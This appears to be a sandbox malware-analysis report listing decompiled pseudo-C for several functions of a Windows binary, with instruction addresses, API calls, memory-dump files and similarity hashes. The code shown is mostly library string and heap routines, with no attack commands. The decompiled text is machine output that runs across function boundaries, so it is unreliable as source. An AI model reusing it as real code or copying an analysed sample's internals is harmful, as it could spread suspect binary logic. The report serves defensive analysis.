															_v215 = 0x42;
															_v214 = 0x71;
															_v213 = 0xe;
															_v212 = 0x13;
															_v211 = 0x5c;
															_v210 = 0x1d;
															_v209 = 0x7a;
															_v208 = 0x4e;
															_v207 = 0xe;
															_v206 = 0x42;
															_v205 = 0x5f;
															_v204 = 0x71;
															_v203 = 0xe;
															_v202 = 0x13;
															_v201 = 0x35;
															_v200 = 0x13;
															_v199 = 0x35;
															_v198 = 0x57;
															_v197 = 0x66;
															_v196 = 0x4e;
															_v195 = 0x33;
															_v194 = 0x4d;
															_t337 = E00F37730( &_v260);
															_t394 =  *0xf4c2ec; // 0xddcc10
															_t431 = _t337;
															_t338 =  *((intOrPtr*)(_t394 + 0xe4));
															if(_t338 == 0) {
																_t338 = E00F222A0(_t375, 0, _t338 + 1, _t431, _t447, 0x5cc1ccbc);
																_t396 =  *0xf4c2ec; // 0xddcc10
																 *((intOrPtr*)(_t396 + 0xe4)) = _t338;
															}
															return  *_t338(_t447, 0, _t431, 0x18, 0xf0000008);
														}
													}
												} else {
													L60:
													return 1;
												}
											} else {
												if( *((intOrPtr*)(_t446 + 0x14)) >= _t375) {
													if(_t375 != 0) {
														goto L42;
													} else {
														 *(_t446 + 0x10) = _t375;
														if( *((intOrPtr*)(_t446 + 0x14)) < 8) {
															_t348 = _t446;
															 *_t348 = 0;
															return _t348;
														} else {
															 *((short*)( *_t446)) = 0;
															return _t446;
														}
													}
												} else {
													L00F23AE0(_t446, _t416, _t375, _t416);
													_t386 = _a4;
													if(_t375 == 0) {
														goto L54;
													} else {
														L42:
														if( *((intOrPtr*)(_t446 + 0x14)) < 8) {
															_t421 = _t446;
														} else {
															_t421 =  *_t446;
														}
														if(_t386 != 0) {
															E00F41A20(_t421 +  *(_t446 + 0x10) * 2, _t426, _t386 + _t386);
														}
														 *(_t446 + 0x10) = _t375;
														if( *((intOrPtr*)(_t446 + 0x14)) < 8) {
															 *((short*)(_t446 + _t375 * 2)) = 0;
															goto L54;
														} else {
															 *((short*)( *_t446 + _t375 * 2)) = 0;
															return _t446;
														}
													}
												}
											}
										}
									}
								} else {
									_t408 =  *((intOrPtr*)(_t446 + 0x14));
									if(_t408 < 8) {
										_t352 = _t446;
									} else {
										_t352 =  *_t446;
									}
									if(_t426 < _t352) {
										goto L37;
									} else {
										if(_t408 < 8) {
											_t422 = _t446;
										} else {
											_t422 =  *_t446;
										}
										if(_t422 +  *(_t446 + 0x10) * 2 <= _t426) {
											goto L37;
										} else {
											if(_t408 < 8) {
												_t355 = _t446;
											} else {
												_t355 =  *_t446;
											}
											_push(_a4);
											return E00F367D0(_t375, _t446, _t446, _t426 - _t355 >> 1);
										}
									}
								}
							} else {
								if( *((intOrPtr*)(__ecx + 0x14)) >= _t425) {
									if(_t425 != 0) {
										goto L6;
									} else {
										 *(__ecx + 0x10) = _t425;
										if( *((intOrPtr*)(__ecx + 0x14)) < 8) {
											 *((short*)(__ecx)) = 0;
											return __ecx;
										} else {
											 *((short*)( *__ecx)) = 0;
											return __ecx;
										}
									}
								} else {
									L00F23AE0(__ecx, _t423, _t425, _t423); // executed
									_t385 = _a12;
									if(_t425 == 0) {
										goto L20;
									} else {
										L6:
										if( *((intOrPtr*)(_t375 + 0x14)) >= 8) {
											_t375 =  *_t375;
										}
										if( *((intOrPtr*)(_t445 + 0x14)) < 8) {
											_t424 = _t445;
										} else {
											_t424 =  *_t445;
										}
										if(_t385 != 0) {
											E00F41A20(_t424 +  *(_t445 + 0x10) * 2, _t375 + _a8 * 2, _t385 + _t385);
										}
										 *(_t445 + 0x10) = _t425;
										if( *((intOrPtr*)(_t445 + 0x14)) < 8) {
											 *((short*)(_t445 + _t425 * 2)) = 0;
											goto L20;
										} else {
											 *((short*)( *_t445 + _t425 * 2)) = 0;
											return _t445;
										}
									}
								}
							}
						}
					}
				}
			}






























































































































































































































































    0x00f367d3
    0x00f367d4
    0x00f367d8
    0x00f367da
    0x00f367dd
    0x00f367de
    0x00f367e3
    0x00f368be
    0x00000000
    0x00f367e9
    0x00f367e9
    0x00f367f3
    0x00f367fa
    0x00f367ff
    0x00f368c3
    0x00f368c3
    0x00f368c8
    0x00000000
    0x00f36805
    0x00f36805
    0x00f3680a
    0x00f368b0
    0x00f368b6
    0x00f36810
    0x00f36816
    0x00f368cd
    0x00f368cd
    0x00f368d2
    0x00f368d7
    0x00f368d8
    0x00f368d9
    0x00f368da
    0x00f368db
    0x00f368dc
    0x00f368dd
    0x00f368de
    0x00f368df
    0x00f368e1
    0x00f368e3
    0x00f368e4
    0x00f368e5
    0x00f368e8
    0x00f368ec
    0x00f36936
    0x00f36936
    0x00f3693b
    0x00f36942
    0x00f369ef
    0x00f369f4
    0x00000000
    0x00f36948
    0x00f36948
    0x00f36949
    0x00f3694e
    0x00f369e6
    0x00f369ec
    0x00f36954
    0x00f3695a
    0x00f369f9
    0x00f369f9
    0x00f369fe
    0x00f36a03
    0x00f36a04
    0x00f36a05
    0x00f36a06
    0x00f36a07
    0x00f36a08
    0x00f36a09
    0x00f36a0a
    0x00f36a0b
    0x00f36a0c
    0x00f36a0d
    0x00f36a0e
    0x00f36a0f
    0x00f36a10
    0x00f36a19
    0x00f36a1a
    0x00f36a1b
    0x00f36a1d
    0x00f36a21
    0x00f36a25
    0x00f36a29
    0x00f36a2d
    0x00f36a31
    0x00f36a35
    0x00f36a39
    0x00f36a3d
    0x00f36a41
    0x00f36a45
    0x00f36a49
    0x00f36a4d
    0x00f36a51
    0x00f36a55
    0x00f36a59
    0x00f36a5d
    0x00f36a61
    0x00f36a65
    0x00f36a69
    0x00f36a6d
    0x00f36a71
    0x00f36a75
    0x00f36a79
    0x00f36a7d
    0x00f36a81
    0x00f36a85
    0x00f36a89
    0x00f36a8d
    0x00f36a91
    0x00f36a95
    0x00f36a99
    0x00f36a9d
    0x00f36aa1
    0x00f36aa5
    0x00f36aa9
    0x00f36aad
    0x00f36ab1
    0x00f36ab5
    0x00f36ab9
    0x00f36abd
    0x00f36ac1
    0x00f36ac5
    0x00f36ac9
    0x00f36acd
    0x00f36ad1
    0x00f36ad5
    0x00f36ad9
    0x00f36add
    0x00f36ae1
    0x00f36ae5
    0x00f36ae9
    0x00f36aed
    0x00f36af1
    0x00f36af5
    0x00f36aff
    0x00f36b04
    0x00f36b0a
    0x00f36b0c
    0x00f36b14
    0x00f36b20
    0x00f36b25
    0x00f36b2b
    0x00f36b2b
    0x00f36b3c
    0x00f36b40
    0x00f36b4d
    0x00f36b54
    0x00f36b58
    0x00f36b5c
    0x00f36b60
    0x00f36b64
    0x00f36b68
    0x00f36b6c
    0x00f36b70
    0x00f36b74
    0x00f36b78
    0x00f36b7c
    0x00f36b80
    0x00f36b84
    0x00f36b88
    0x00f36b8c
    0x00f36b90
    0x00f36b94
    0x00f36b98
    0x00f36b9c
    0x00f36ba0
    0x00f36ba4
    0x00f36ba8
    0x00f36bac
    0x00f36bb0
    0x00f36bb4
    0x00f36bb8
    0x00f36bbc
    0x00f36bc0
    0x00f36bc4
    0x00f36bc8
    0x00f36bcc
    0x00f36bd0
    0x00f36bd4
    0x00f36bd8
    0x00f36bdc
    0x00f36be0
    0x00f36be4
    0x00f36be8
    0x00f36bec
    0x00f36bf0
    0x00f36bf4
    0x00f36bf8
    0x00f36bfc
    0x00f36c00
    0x00f36c04
    0x00f36c08
    0x00f36c0c
    0x00f36c10
    0x00f36c14
    0x00f36c18
    0x00f36c1c
    0x00f36c20
    0x00f36c24
    0x00f36c28
    0x00f36c2f
    0x00f36c34
    0x00f36c3a
    0x00f36c3c
    0x00f36c44
    0x00f36c50
    0x00f36c55
    0x00f36c5b
    0x00f36c5b
    0x00f36c6c
    0x00f36c70
    0x00000000
    0x00f36c76
    0x00f36c76
    0x00f36c82
    0x00f36c89
    0x00f36c90
    0x00f36c97
    0x00f36c9e
    0x00f36ca5
    0x00f36cac
    0x00f36cb3
    0x00f36cba
    0x00f36cc1
    0x00f36cc8
    0x00f36ccf
    0x00f36cd6
    0x00f36cdd
    0x00f36ce4
    0x00f36ceb
    0x00f36cf2
    0x00f36cf9
    0x00f36d00
    0x00f36d07
    0x00f36d0e
    0x00f36d15
    0x00f36d1c
    0x00f36d23
    0x00f36d2a
    0x00f36d31
    0x00f36d38
    0x00f36d3f
    0x00f36d46
    0x00f36d4d
    0x00f36d54
    0x00f36d5b
    0x00f36d62
    0x00f36d69
    0x00f36d70
    0x00f36d77
    0x00f36d7e
    0x00f36d85
    0x00f36d8c
    0x00f36d93
    0x00f36d9a
    0x00f36da1
    0x00f36da8
    0x00f36daf
    0x00f36db6
    0x00f36dbd
    0x00f36dc4
    0x00f36dcb
    0x00f36dd2
    0x00f36dd9
    0x00f36de0
    0x00f36de7
    0x00f36deb
    0x00f36def
    0x00f36df3
    0x00f36df7
    0x00f36dfb
    0x00f36dff
    0x00f36e03
    0x00f36e07
    0x00f36e0b
    0x00f36e0f
    0x00f36e13
    0x00f36e17
    0x00f36e1b
    0x00f36e1f
    0x00f36e29
    0x00f36e2e
    0x00f36e34
    0x00f36e36
    0x00f36e3e
    0x00f36e4a
    0x00f36e4f
    0x00f36e55
    0x00f36e55
    0x00f36e66
    0x00f36e6a
    0x00000000
    0x00f36e70
    0x00f36e70
    0x00f36e7c
    0x00f36e83
    0x00f36e8a
    0x00f36e91
    0x00f36e98
    0x00f36e9f
    0x00f36ea6
    0x00f36ead
    0x00f36eb4
    0x00f36ebb
    0x00f36ec2
    0x00f36ec9
    0x00f36ed0
    0x00f36ed7
    0x00f36edd
    0x00f36ee4
    0x00f36eeb
    0x00f36ef2
    0x00f36ef9
    0x00f36f00
    0x00f36f07
    0x00f36f0e
    0x00f36f15
    0x00f36f1c
    0x00f36f22
    0x00f36f29
    0x00f36f30
    0x00f36f37
    0x00f36f3e
    0x00f36f45
    0x00f36f4c
    0x00f36f53
    0x00f36f5a
    0x00f36f61
    0x00f36f68
    0x00f36f6f
    0x00f36f76
    0x00f36f7d
    0x00f36f84
    0x00f36f8b
    0x00f36f91
    0x00f36f98
    0x00f36f9f
    0x00f36fa6
    0x00f36fad
    0x00f36fb4
    0x00f36fbb
    0x00f36fc2
    0x00f36fc9
    0x00f36fd0
    0x00f36fd7
    0x00f36fde
    0x00f36fe5
    0x00f36fec
    0x00f36ff3
    0x00f36ffa
    0x00f37001
    0x00f37008
    0x00f3700f
    0x00f37016
    0x00f3701d
    0x00f37024
    0x00f3702b
    0x00f37032
    0x00f37039
    0x00f37040
    0x00f3704d
    0x00f37052
    0x00f37058
    0x00f3705a
    0x00f37062
    0x00f3706e
    0x00f37073
    0x00f37079
    0x00f37079
    0x00f37091
    0x00f37091
    0x00f36e6a
    0x00f36b42
    0x00f36b42
    0x00f36b4c
    0x00f36b4c
    0x00f36960
    0x00f36963
    0x00f36981
    0x00000000
    0x00f36983
    0x00f36983
    0x00f3698a
    0x00f3699c
    0x00f369a3
    0x00f369a7
    0x00f3698c
    0x00f36992
    0x00f36999
    0x00f36999
    0x00f3698a
    0x00f36965
    0x00f36969
    0x00f3696e
    0x00f36973
    0x00000000
    0x00f36975
    0x00f36975
    0x00f36979
    0x00f369aa
    0x00f3697b
    0x00f3697b
    0x00f3697b
    0x00f369ae
    0x00f369bc
    0x00f369c1
    0x00f369c8
    0x00f369cb
    0x00f369e2
    0x00000000
    0x00f369cd
    0x00f369d1
    0x00f369db
    0x00f369db
    0x00f369cb
    0x00f36973
    0x00f36963
    0x00f3695a
    0x00f3694e
    0x00f368ee
    0x00f368ee
    0x00f368f4
    0x00f368fa
    0x00f368f6
    0x00f368f6
    0x00f368f6
    0x00f368fe
    0x00000000
    0x00f36900
    0x00f36903
    0x00f36909
    0x00f36905
    0x00f36905
    0x00f36905
    0x00f36913
    0x00000000
    0x00f36915
    0x00f36918
    0x00f3691e
    0x00f3691a
    0x00f3691a
    0x00f3691a
    0x00f36920
    0x00f36933
    0x00f36933
    0x00f36913
    0x00f368fe
    0x00f3681c
    0x00f3681f
    0x00f36845
    0x00000000
    0x00f36847
    0x00f36847
    0x00f3684e
    0x00f36867
    0x00f3686b
    0x00f36850
    0x00f36855
    0x00f3685d
    0x00f3685d
    0x00f3684e
    0x00f36821
    0x00f36825
    0x00f3682a
    0x00f3682f
    0x00000000
    0x00f36831
    0x00f36831
    0x00f36835
    0x00f36837
    0x00f36837
    0x00f3683d
    0x00f3686e
    0x00f3683f
    0x00f3683f
    0x00f3683f
    0x00f36872
    0x00f36886
    0x00f3688b
    0x00f36892
    0x00f36895
    0x00f368ac
    0x00000000
    0x00f36897
    0x00f3689b
    0x00f368a5
    0x00f368a5
    0x00f36895
    0x00f3682f
    0x00f3681f
    0x00f36816
    0x00f3680a
    0x00f367ff

    APIs
    • std::_Xinvalid_argument.LIBCPMT ref: 00F368C8
    • std::_Xinvalid_argument.LIBCPMT ref: 00F368D2
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Xinvalid_argumentstd::_
    • String ID: invalid string position$string too long
    • API String ID: 909987262-4289949731
    • Opcode ID: d328acce5a474babf19cbb3b540c2bb97c639c834b31955578fd7bf1e4f0ba89
    • Instruction ID: 42e8a7b401f01f1de363f9dc1f783fb382db7a90e5cc7cdb1a4d8c51771f0e01
    • Opcode Fuzzy Hash: d328acce5a474babf19cbb3b540c2bb97c639c834b31955578fd7bf1e4f0ba89
    • Instruction Fuzzy Hash: AF61E232705304AB8B34DE6CE88096EB3E9FF98771710892EE586C7610DB31E915E7A5
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3C290 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
    Download Yara Rule
    C-Code - Quality: 94%
    			E00F3C290() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t8;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E00F3C259(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t8 = E00F3ADB7(_t19, _t7); // executed
						_t25 = _t8;
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E00F3AD7D(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}













    0x00f3c29f
    0x00f3c2a5
    0x00f3c2fd
    0x00f3c2fd
    0x00f3c2a7
    0x00f3c2a8
    0x00f3c2ad
    0x00f3c2b6
    0x00f3c2bc
    0x00f3c2c2
    0x00f3c2c7
    0x00000000
    0x00f3c2c9
    0x00f3c2ca
    0x00f3c2cf
    0x00f3c2d4
    0x00f3c2f2
    0x00f3c2ec
    0x00f3c2ec
    0x00f3c2ee
    0x00f3c2ee
    0x00f3c2f5
    0x00f3c2fa
    0x00f3c2c7
    0x00f3c301
    0x00f3c304
    0x00f3c304
    0x00f3c312

    APIs
    • GetEnvironmentStringsW.KERNEL32 ref: 00F3C299
    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F3C2BC
      • Part of subcall function 00F3ADB7: RtlAllocateHeap.NTDLL(00000000,00F37A46,?,?,00F38CFE,?,?,?,?,?,00F37986,00F37A46,?,?,?,?), ref: 00F3ADE9
    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F3C2E2
    • _free.LIBCMT ref: 00F3C2F5
    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F3C304
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
    • String ID:
    • API String ID: 336800556-0
    • Opcode ID: c5725ad9c7a8b12deecab8d48b1940ed4755e77ed8aa3b45f2b81782e2aef556
    • Instruction ID: 116fdf6610f0123370cf48bb27de8f052e1fd90360467cf938fc34516cc1fed9
    • Opcode Fuzzy Hash: c5725ad9c7a8b12deecab8d48b1940ed4755e77ed8aa3b45f2b81782e2aef556
    • Instruction Fuzzy Hash: 1D01D477A016197F23211AEA6C88D7B796DEEC3B71B250129FD05F3204DE60DC01A2F0
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F238C0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 334COMMON
    Download Yara Rule
    C-Code - Quality: 69%
    			E00F238C0(void* __ebx, unsigned int __edx, signed int __edi, signed char _a4, intOrPtr _a8) {
				signed int _v0;
				signed int _v4;
				signed int _v8;
				unsigned int _v12;
				signed int _v20;
				intOrPtr _v28;
				unsigned int _v36;
				signed int _v40;
				char _v60;
				intOrPtr _v64;
				unsigned int _v72;
				void* __esi;
				void* __ebp;
				intOrPtr _t75;
				signed int _t80;
				intOrPtr _t82;
				signed int _t87;
				signed int _t90;
				unsigned int _t94;
				unsigned int _t95;
				unsigned int _t96;
				unsigned int _t97;
				void* _t105;
				signed char _t113;
				signed int _t116;
				signed int _t122;
				signed int _t124;
				void* _t128;
				signed char _t129;
				void* _t130;
				unsigned int _t131;
				signed int _t132;
				signed char _t140;
				signed int _t141;
				unsigned int _t143;
				signed char _t157;
				signed int _t160;
				signed int _t162;
				signed char _t164;
				signed int _t174;
				signed char _t175;
				unsigned int _t176;
				signed int _t188;
				signed int _t189;
				signed int _t191;

				_t160 = __edi;
				_t155 = __edx;
				_t130 = __ebx;
				_t75 = _a8;
				_t140 = _a4;
				if(_t75 > 0x7fffffff) {
					E00F39A82(__ebx, _t140, __edi, __eflags);
					goto L9;
				} else {
					if(_t75 + _t75 < 0x1000) {
						L7:
						_t128 = L00F37CC5(_t140); // executed
						return _t128;
					} else {
						if((_t140 & 0x0000001f) != 0) {
							L9:
							E00F39A82(_t130, _t140, _t160, __eflags);
							goto L10;
						} else {
							_t129 =  *(_t140 - 4);
							if(_t129 >= _t140) {
								L10:
								E00F39A82(_t130, _t140, _t160, __eflags);
								goto L11;
							} else {
								_t140 = _t140 - _t129;
								if(_t140 < 4) {
									L11:
									E00F39A82(_t130, _t140, _t160, __eflags);
									goto L12;
								} else {
									if(_t140 > 0x23) {
										L12:
										_t80 = E00F39A82(_t130, _t140, _t160, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t188 = _t191;
										_t174 = _v0;
										__eflags = _t174 - 0x7ffffffe;
										if(_t174 > 0x7ffffffe) {
											_push("string too long");
											E00F37A35();
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t188);
											_t189 = _t191;
											_push(_t130);
											_t131 = _v12;
											_push(_t174);
											_t175 = _t140;
											_t141 = _v8;
											_push(_t160);
											_t82 =  *((intOrPtr*)(_t131 + 0x10));
											__eflags = _t82 - _t141;
											if(_t82 < _t141) {
												E00F37A55("invalid string position");
												goto L50;
											} else {
												_t164 = _a4;
												_t105 = _t82 - _t141;
												__eflags = _t164 - _t105;
												_t160 =  >  ? _t105 : _t164;
												__eflags = _t175 - _t131;
												if(_t175 != _t131) {
													__eflags = _t160 - 0x7ffffffe;
													if(_t160 > 0x7ffffffe) {
														goto L51;
													} else {
														__eflags =  *((intOrPtr*)(_t175 + 0x14)) - _t160;
														if( *((intOrPtr*)(_t175 + 0x14)) >= _t160) {
															__eflags = _t160;
															if(_t160 != 0) {
																goto L34;
															} else {
																__eflags =  *((intOrPtr*)(_t175 + 0x14)) - 8;
																 *(_t175 + 0x10) = _t160;
																if( *((intOrPtr*)(_t175 + 0x14)) < 8) {
																	_t113 = _t175;
																	__eflags = 0;
																	 *_t113 = 0;
																	return _t113;
																} else {
																	__eflags = 0;
																	 *( *_t175) = 0;
																	return _t175;
																}
															}
														} else {
															_push( *(_t175 + 0x10));
															_push(_t160); // executed
															L52(); // executed
															_t141 = _v0;
															__eflags = _t160;
															if(_t160 == 0) {
																L48:
																return _t175;
															} else {
																L34:
																__eflags =  *((intOrPtr*)(_t131 + 0x14)) - 8;
																if( *((intOrPtr*)(_t131 + 0x14)) >= 8) {
																	_t131 =  *_t131;
																}
																__eflags =  *((intOrPtr*)(_t175 + 0x14)) - 8;
																if( *((intOrPtr*)(_t175 + 0x14)) < 8) {
																	_t157 = _t175;
																} else {
																	_t157 =  *_t175;
																}
																__eflags = _t160;
																if(_t160 != 0) {
																	E00F41A20(_t157, _t131 + _t141 * 2, _t160 + _t160);
																}
																__eflags =  *((intOrPtr*)(_t175 + 0x14)) - 8;
																 *(_t175 + 0x10) = _t160;
																if( *((intOrPtr*)(_t175 + 0x14)) < 8) {
																	__eflags = 0;
																	 *((short*)(_t175 + _t160 * 2)) = 0;
																	goto L48;
																} else {
																	__eflags = 0;
																	 *((short*)( *_t175 + _t160 * 2)) = 0;
																	return _t175;
																}
															}
														}
													}
												} else {
													_t116 = _t141 + _t160;
													__eflags =  *(_t175 + 0x10) - _t116;
													if( *(_t175 + 0x10) < _t116) {
														L50:
														E00F37A55("invalid string position");
														L51:
														_push("string too long");
														E00F37A35();
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t189);
														_push(0xffffffff);
														_push(E00F43490);
														_push( *[fs:0x0]);
														_push(_t131);
														_push(_t175);
														_push(_t160);
														_t87 =  *0xf4a004; // 0x355216d4
														_push(_t87 ^ _t191);
														 *[fs:0x0] =  &_v60;
														_v64 = _t191 - 0xc;
														_t176 = _t141;
														_v72 = _t176;
														_t90 = _v40;
														_t162 = _t90 | 0x00000007;
														__eflags = _t162 - 0x7ffffffe;
														if(_t162 <= 0x7ffffffe) {
															_t131 =  *(_t176 + 0x14);
															_t143 = _t131 >> 1;
															_t155 = 0xaaaaaaab * _t162 >> 0x20 >> 1;
															__eflags = _t143 - 0xaaaaaaab * _t162 >> 0x20 >> 1;
															if(_t143 > 0xaaaaaaab * _t162 >> 0x20 >> 1) {
																__eflags = _t131 - 0x7ffffffe - _t143;
																_t162 = _t143 + _t131;
																if(_t131 > 0x7ffffffe - _t143) {
																	_t162 = 0x7ffffffe;
																}
															}
														} else {
															_t162 = _t90;
														}
														_v20 = 0;
														_t58 = _t162 + 1; // 0x7fffffff
														_t94 = E00F23CF0(_t131, _t155, _t162, _t176, _t58); // executed
														_t144 = _t94;
														_v36 = _t94;
														_v20 = 0xffffffff;
														_t132 = _v4;
														__eflags = _t132;
														if(_t132 != 0) {
															__eflags =  *(_t176 + 0x14) - 8;
															if( *(_t176 + 0x14) < 8) {
																_t155 = _t176;
															} else {
																_t155 =  *_t176;
															}
															__eflags = _t132;
															if(_t132 != 0) {
																E00F41A20(_t144, _t155, _t132 + _t132);
															}
														}
														_t95 =  *(_t176 + 0x14);
														__eflags = _t95 - 8;
														if(_t95 >= 8) {
															__eflags = _t95 + 1;
															E00F238C0(_t132, _t155, _t162,  *_t176, _t95 + 1);
														}
														 *(_t176 + 0x14) = 7;
														 *(_t176 + 0x10) = 0;
														__eflags =  *(_t176 + 0x14) - 8;
														if( *(_t176 + 0x14) < 8) {
															_t96 = _t176;
														} else {
															_t96 =  *_t176;
														}
														 *_t96 = 0;
														_t97 = _v36;
														 *_t176 = _t97;
														 *(_t176 + 0x14) = _t162;
														 *(_t176 + 0x10) = _t132;
														__eflags =  *(_t176 + 0x14) - 8;
														if( *(_t176 + 0x14) >= 8) {
															_t176 = _t97;
														}
														__eflags = 0;
														 *((short*)(_t176 + _t132 * 2)) = 0;
														 *[fs:0x0] = _v28;
														return 0;
													} else {
														 *(_t175 + 0x10) = _t116;
														__eflags =  *((intOrPtr*)(_t175 + 0x14)) - 8;
														if( *((intOrPtr*)(_t175 + 0x14)) < 8) {
															__eflags = 0;
															 *((short*)(_t175 + _t116 * 2)) = 0;
															E00F23C60(_t175, _t141, _t141);
															return _t175;
														} else {
															__eflags = 0;
															 *((short*)( *_t175 + _t116 * 2)) = 0;
															E00F23C60(_t175, _t141, _t141);
															return _t175;
														}
													}
												}
											}
										} else {
											__eflags =  *((intOrPtr*)(_t140 + 0x14)) - _t174;
											if( *((intOrPtr*)(_t140 + 0x14)) >= _t174) {
												__eflags = _a4;
												if(_a4 == 0) {
													L19:
													__eflags = _t174;
													if(__eflags == 0) {
														__eflags =  *((intOrPtr*)(_t140 + 0x14)) - 8;
														 *(_t140 + 0x10) = _t174;
														if( *((intOrPtr*)(_t140 + 0x14)) >= 8) {
															_t140 =  *_t140;
														}
														_t80 = 0;
														__eflags = _t174;
														 *_t140 = 0;
													}
													_t18 = __eflags != 0;
													__eflags = _t18;
													return _t80 & 0xffffff00 | _t18;
												} else {
													__eflags = _t174 - 8;
													if(_t174 >= 8) {
														goto L19;
													} else {
														_t122 =  *(_t140 + 0x10);
														__eflags = _t174 - _t122;
														_t123 =  <  ? _t174 : _t122;
														_t124 = E00F23750(_t140, 1,  <  ? _t174 : _t122);
														__eflags = _t174;
														_t14 = _t174 != 0;
														__eflags = _t14;
														return _t124 & 0xffffff00 | _t14;
													}
												}
											} else {
												_push( *(_t140 + 0x10));
												_push(_t174);
												L52();
												__eflags = _t174;
												_t10 = _t174 != 0;
												__eflags = _t10;
												return _t80 & 0xffffff00 | _t10;
											}
										}
									} else {
										_t140 = _t129;
										goto L7;
									}
								}
							}
						}
					}
				}
			}
















































    0x00f238c0
    0x00f238c0
    0x00f238c0
    0x00f238c3
    0x00f238c6
    0x00f238ce
    0x00f23900
    0x00000000
    0x00f238d0
    0x00f238d7
    0x00f238f3
    0x00f238f4
    0x00f238fd
    0x00f238d9
    0x00f238dc
    0x00f23905
    0x00f23905
    0x00000000
    0x00f238de
    0x00f238de
    0x00f238e3
    0x00f2390a
    0x00f2390a
    0x00000000
    0x00f238e5
    0x00f238e5
    0x00f238ea
    0x00f2390f
    0x00f2390f
    0x00000000
    0x00f238ec
    0x00f238ef
    0x00f23914
    0x00f23914
    0x00f23919
    0x00f2391a
    0x00f2391b
    0x00f2391c
    0x00f2391d
    0x00f2391e
    0x00f2391f
    0x00f23921
    0x00f23924
    0x00f23927
    0x00f2392d
    0x00f2398a
    0x00f2398f
    0x00f23994
    0x00f23995
    0x00f23996
    0x00f23997
    0x00f23998
    0x00f23999
    0x00f2399a
    0x00f2399b
    0x00f2399c
    0x00f2399d
    0x00f2399e
    0x00f2399f
    0x00f239a0
    0x00f239a1
    0x00f239a3
    0x00f239a4
    0x00f239a7
    0x00f239a8
    0x00f239aa
    0x00f239ad
    0x00f239ae
    0x00f239b1
    0x00f239b3
    0x00f23ab7
    0x00000000
    0x00f239b9
    0x00f239b9
    0x00f239bc
    0x00f239be
    0x00f239c0
    0x00f239c3
    0x00f239c5
    0x00f23a10
    0x00f23a16
    0x00000000
    0x00f23a1c
    0x00f23a1c
    0x00f23a1f
    0x00f23a45
    0x00f23a47
    0x00000000
    0x00f23a49
    0x00f23a49
    0x00f23a4d
    0x00f23a50
    0x00f23a62
    0x00f23a64
    0x00f23a69
    0x00f23a6d
    0x00f23a52
    0x00f23a54
    0x00f23a57
    0x00f23a5f
    0x00f23a5f
    0x00f23a50
    0x00f23a21
    0x00f23a21
    0x00f23a26
    0x00f23a27
    0x00f23a2c
    0x00f23a2f
    0x00f23a31
    0x00f23aa9
    0x00f23aaf
    0x00f23a33
    0x00f23a33
    0x00f23a33
    0x00f23a37
    0x00f23a39
    0x00f23a39
    0x00f23a3b
    0x00f23a3f
    0x00f23a70
    0x00f23a41
    0x00f23a41
    0x00f23a41
    0x00f23a72
    0x00f23a74
    0x00f23a7f
    0x00f23a84
    0x00f23a87
    0x00f23a8b
    0x00f23a8e
    0x00f23aa3
    0x00f23aa5
    0x00000000
    0x00f23a90
    0x00f23a92
    0x00f23a94
    0x00f23a9e
    0x00f23a9e
    0x00f23a8e
    0x00f23a31
    0x00f23a1f
    0x00f239c7
    0x00f239c7
    0x00f239ca
    0x00f239cd
    0x00f23abc
    0x00f23ac1
    0x00f23ac6
    0x00f23ac6
    0x00f23acb
    0x00f23ad0
    0x00f23ad1
    0x00f23ad2
    0x00f23ad3
